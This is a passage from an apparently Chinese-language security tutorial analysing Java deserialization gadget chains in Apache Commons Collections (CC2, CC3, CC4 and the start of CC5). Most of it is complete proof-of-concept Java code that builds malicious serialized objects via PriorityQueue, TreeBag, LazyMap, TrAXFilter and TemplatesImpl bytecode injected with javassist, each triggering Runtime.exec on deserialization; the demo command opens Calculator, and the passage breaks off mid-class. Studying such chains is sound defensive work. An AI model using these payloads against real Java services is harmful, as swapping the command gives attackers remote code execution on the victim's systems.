// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
在`heapify()`方法中，继续会调用`siftDown()`方法，这里的`x`是可控的，让`comparator`不为空进而调用`siftDownUsingComparator()`方法，在`siftDownUsingComparator()`方法中会调用前面`comparator`的`compare`方法。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里将`comparator`和`TransformingComparator`结合起来，如果这里`this.transformer`是可控的话，就可以进一步利用`CC-1`链的后半段部分。
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这里需要注意几个地方，在`heapify()`方法处的`size`要是大于`1`的，只有这样才会继续进入到`siftDown()`方法中。
**POC-1**
利用`PriorityQueue`和`CommonsCollections-1`后半部分来进行构造。
package CommonsCollections2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/26 9:42 下午
*/
public class CommonsCollectionsGadget1 {
// public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
public static void CC2() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, transformingComparator);
try {
// 序列化操作
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC2EvilGadget.bin"));
outputStream.writeObject(priorityQueue);
outputStream.close();
// 反序列化操作
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC2EvilGadget.bin"));
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC2();
} catch (Exception e) {
e.printStackTrace();
}
}
}
**POC-2**
为了更好的符合实战利用中的要求，利用`InvokerTransformer`触发`TemplatesImpl`的`newTransformer`，从而读取恶意字节码从而进行执行命令，并且利用`javassist`和`TemplatesImpl`来进行构造。
package CommonsCollections2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.*;
import java.io.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/29 1:37 上午
*/
public class CommonsCollectionsGadget2 {
public static void CC2() throws NoSuchMethodException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NotFoundException, CannotCompileException, IOException{
Class c1 = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
Constructor constructor = c1.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("CommonsCollectionsEvilCode");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
ctClass.writeFile("./");
byte[] ctClassBytes = ctClass.toBytecode();
byte[][] targetByteCodes = new byte[][]{ctClassBytes};
TemplatesImpl templates = new TemplatesImpl();
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = clazz.getDeclaredField("_name");
Field _bytecode = clazz.getDeclaredField("_bytecodes");
Field _tfactory = clazz.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetByteCodes);
_tfactory.set(templates, new TransformerFactoryImpl());
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Class c2 = Class.forName("java.util.PriorityQueue");
Field _queue = c2.getDeclaredField("queue");
_queue.setAccessible(true);
Object[] queue_array = new Object[]{templates,1};
_queue.set(priorityQueue,queue_array);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, transformingComparator);
try {
// 序列化操作
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC2EvilGadget2.bin"));
outputStream.writeObject(priorityQueue);
outputStream.close();
// 反序列化操作
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC2EvilGadget2.bin"));
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC2();
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 调用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
### 总结
利用`PriorityQueue`在反序列化后会对队列进行优先级排序的特点，为其指定`TransformingComparator`排序方法，并在其中为其添加`Transforer`，与`CommonsCollections1`链类似，主要的触发位置还是`InvokerTransformer`。
## CommonsCollections3链
### 环境搭建
1. `JDK`版本：JDK1.8u66（要求JDK8u71以下）
2. `Commons-Collections`版本：3.1
利用`maven`来进行搭建，先创建一个`Maven`项目，不用选择任何`Maven`模板，`pom.xml`中内容如下，之后选择右侧的更新，让其自动导入包即可。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
### 前置知识
**TrAXFilter**
这个类的构造函数中调用了`(TransformerImpl)
templates.newTransformer()`，免去了用`InvokerTransformer`手工调用`newTransformer()`方法。
**InstantiateTransformer**
上面虽然直接调用了`newTransformer()`，但是缺少了`InvokerTransformer`，`TrAXFilter`的构造方法也是无法调用的，因此这里利用`Commons-Collections`提供的`org.apache.commons.collections.functors.InstantiateTransformer`来通过反射创建类的实例，`transform()`方法接收一个`Class`类型的对象，通过`getConstructor()`来获取构造方法，并通过`newInstance()`创建类实例。
### CommonsCollections3 分析
`CommonsCollections3`链其实是`CommonsCollections1`链和`CommonsCollections2`链的结合，为了绕过⼀些规则对`InvokerTransformer`的限制，`CommonsCollections3`并没有使⽤到`InvokerTransformer`来调⽤任意⽅法，根据上面的前置知识，可以利⽤`InstantiateTransformer()`来调⽤到`TrAXFilter()`的构造⽅法，再利⽤其构造⽅法⾥的`templates.newTransformer()`调⽤到`TemplatesImpl`⾥的字节码，这样就比避免使用`InvokerTransformer`。
package CommonsCollections3;
import java.io.*;
import java.lang.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/29 10:33 下午
*/
public class TrAxFilterDemo {
public static void trAxFilterDemo() throws IllegalAccessException, NoSuchFieldException, NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("Evil");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetByteCode = new byte[][]{shellCode};
TemplatesImpl templates = new TemplatesImpl();
Class c1 = templates.getClass();
Field _name = c1.getDeclaredField("_name");
Field _bytecode = c1.getDeclaredField("_bytecodes");
Field _tfactory = c1.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetByteCode);
_tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("d1no", "web");
}
public static void main(String[] args) {
try {
trAxFilterDemo();
} catch (Exception e) {
e.printStackTrace();
}
}
}
**TransformedMap**
package CommonsCollections3;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/29 9:38 下午
*/
public class CommonsCollections3TransformedMap {
public static void CC3() throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("Evil");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellByteCode = ctClass.toBytecode();
byte[][] targetByteCode = new byte[][]{shellByteCode};
TemplatesImpl obj = new TemplatesImpl();
Class _class = obj.getClass();
Field _name = _class.getDeclaredField("_name");
Field _bytecode = _class.getDeclaredField("_bytecodes");
Field _tfactory = _class.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(obj, "h3rmesk1t");
_bytecode.set(obj, targetByteCode);
_tfactory.set(obj, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "d1no");
Map map1 = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Retention.class, map1);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC3();
} catch (Exception e) {
e.printStackTrace();
}
}
}
**LazyMap**
package CommonsCollections3;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 1:20 上午
*/
public class CommonsCollections3LazyMap {
public static void CC3() throws CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, ClassNotFoundException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("Rvil");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetShellCode = new byte[][]{shellCode};
TemplatesImpl templates = new TemplatesImpl();
Class _class = templates.getClass();
Field _name = _class.getDeclaredField("_name");
Field _bytecode = _class.getDeclaredField("_bytecodes");
Field _tfactory = _class.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetShellCode);
_tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, map1);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(handler);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC3();
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 调用链
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
### 总结
利用`AnnotationInvocationHandler`在反序列化时会触发`Map`的`get/set`等操作，配合`LazyMap`在执行`Map`对象的操作时会根据不同情况调用`Transformer`的转换方法，利用了`InstantiateTransformer`实例化`TrAXFilter`类，并调用`TemplatesImpl`的`newTransformer`方法实例化恶意类字节码触发漏洞。
## CommonsCollections4链
### 环境搭建
1. `JDK`版本：JDK1.8u66(暂无版本限制)
2. `Commons-Collections4`版本：4.0
利用`maven`来进行搭建，先创建一个`Maven`项目，不用选择任何`Maven`模板，`pom.xml`中内容如下，之后选择右侧的更新，让其自动导入包即可。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
### 前置知识
**TreeBag& TreeMap**
在`CommonsCollection2`中，使用了优先级队列`PriorityQueue`反序列化时会调用`comparator`的`compare`方法的特性，配合`TransformingComparator`触发`transformer`，按照这个思路找到另一个提供排序的类`TreeBag`，其在反序列化的时候会调用比较器。
`Bag`接口继承自`Collection`接口，定义了一个集合，该集合会记录对象在集合中出现的次数，它有一个子接口`SortedBag`，定义了一种可以对其唯一不重复成员排序的`Bag`类型。
`TreeBag`是对`SortedBag`的一个标准实现，`TreeBag`使用`TreeMap`来储存数据，并使用指定`Comparator`来进行排序，`TreeBag`继承自`AbstractMapBag`实现了`SortedBag`接口，初始化`TreeBag`时会创建一个新的`TreeMap`储存在成员变量`map`里，而排序使用的`Comparator`则直接储存在`TreeMap`中。
在对`TreeBag`反序列化时，会将反序列化出来的`Comparator`对象交给`TreeMap`实例化，并调用父类的`doReadObject`方法进行处理。
在`doReadObject`方法中会向`TreeMap`中`put`数据。
对于这种有序的储存数据的集合，反序列化数据时一定会对其进行排序动作，而`TreeBag`则是依赖了`TreeMap`在`put`数据时会调用`compare`进行排序的特点来实现数据顺序的保存。
而在`compare`方法中调用了`comparator`进行比较，以使用`TransformingComparator`触发后续的逻辑。
### Commons-Collections4 分析
**POC-1**
该利用链沿用了`CommmonsCollections3`链利用`TrAXFilter`类的构造函数去触发`TemplatesImpl#newTransformer`加载恶意字节码的方法，沿用了`CommonsCollections2`链通过`PriorityQueue`触发`TransformingComparator.compare()`进而调用传入的`transformer`对象的`transform`方法。
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 10:55 上午
*/
public class CommmonsCollections4PriorityQueue {
public static void CC4() throws CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("Evil");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetCode = new byte[][]{shellCode};
TemplatesImpl obj = new TemplatesImpl();
Class clazz = obj.getClass();
Field _name = clazz.getDeclaredField("_name");
Field _bytecode = clazz.getDeclaredField("_bytecodes");
Field _tfactory = clazz.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(obj, "h3rmesk1t");
_bytecode.set(obj, targetCode);
_tfactory.set(obj, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, transformingComparator);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC4();
} catch (Exception e) {
e.printStackTrace();
}
}
}
**POC-2**
相较于`POC-1`，这里使用`TreeBag`和`TreeMap`来替代`PriorityQueue`进行构造。
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 11:26 上午
*/
public class CommonsCollectionsTreeBag {
public static void CC4() throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("Evil");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetCode = new byte[][]{shellCode};
TemplatesImpl obj = new TemplatesImpl();
Class _class = obj.getClass();
Field _name = _class.getDeclaredField("_name");
Field _bytecode = _class.getDeclaredField("_bytecodes");
Field _tfactory = _class.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(obj, "h3rmesk1t");
_bytecode.set(obj, targetCode);
_tfactory.set(obj, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
TreeBag treeBag = new TreeBag(transformingComparator);
treeBag.add(obj);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(treeBag);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC4();
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 调用链
PriorityQueue：
PriorityQueue.readObject()
TransformingComparator.compare()
*ChainedTransformer.transform()
InvokerTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
TreeBag：
org.apache.commons.collections4.bag.TreeBag.readObject()
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject()
java.util.TreeMap.put()
java.util.TreeMap.compare()
org.apache.commons.collections4.comparators.TransformingComparator.compare()
org.apache.commons.collections4.functors.InvokerTransformer.transform()
### 总结
使用`PriorityQueue`反序列化时触发的`TransformingComparator`的`compare`方法，就会触发`ChainedTransformer`的`tranform`方法链，其中利用`InstantiateTransformer`实例化`TrAXFilter`类，此类实例化时会调用`TemplatesImpl`的`newTransformer`实例化恶意类，执行恶意代码。
用`TreeBag`代替`PriorityQueue`触发`TransformingComparator`，后续依旧使用`Transformer`的调用链。
## CommonsCollections5链
### 环境搭建
1. `JDK`版本：JDK1.8u66
2. `Commons-Collections`版本：3.1
利用`maven`来进行搭建，先创建一个`Maven`项目，不用选择任何`Maven`模板，`pom.xml`中内容如下，之后选择右侧的更新，让其自动导入包即可。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
### 前置知识
**TiedMapEntry**
`org.apache.commons.collections.keyvalue.TiedMapEntry`是一个`Map.Entry`的实现类，它绑定了底层`map`的`Entry`，用来使一个`map
entry`对象拥有在底层修改`map`的功能。
`TiedMapEntry`中有一个成员属性`Map`，`TiedMapEntry`的`getValue()`方法会调用底层`map`的`get()`方法，可以用来触发`LazyMap`的`get`，继续跟进分析，发现`TiedMapEntry`的`equals/hashCode/toString`都可以触发。
测试代码：
package CommonsCollections5;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 1:47 下午
*/
public class TiedMapEntryDemo {
public static void TiedMapEntryDemo() throws NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("Evil");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetCode = new byte[][]{shellCode};
TemplatesImpl obj = new TemplatesImpl();
Class clazz = obj.getClass();
